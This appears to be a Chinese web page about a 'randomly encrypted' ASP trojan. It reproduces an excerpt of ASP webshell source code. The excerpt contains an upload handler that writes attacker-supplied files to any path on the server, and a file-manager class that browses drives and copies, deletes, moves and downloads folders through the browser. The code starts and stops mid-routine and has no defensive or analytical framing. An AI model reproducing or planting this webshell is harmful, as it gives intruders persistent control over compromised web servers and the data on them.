asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
RRS" <a href='javascript:ShowFolder("""&D.DriveLetter&":"")'>"& face("ff8000",0,"8")&"本地磁盘 ("&D.DriveLetter&":)</a><br>"
Next
End Function

Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10>"
SI=SI&"<a href='javascript:ShowFolder("""&RePath(Path&""&F.Name)&""")' title=""打开""><font face='wingdings' size='6'>0</font>"&F.Name&"</a>"
SI=SI&" _<a href='javascript:FullForm("""&RePath(Path&""&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>Copy</a>"
SI=SI&" <a href='javascript:FullForm("""&Replace(Path&""&F.Name,"","")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>Del</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&""&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>Move</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&""&F.Name)&""",""DownFile"")' onclick='return yesok()' class='am' title='下载'>Down</a></td>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"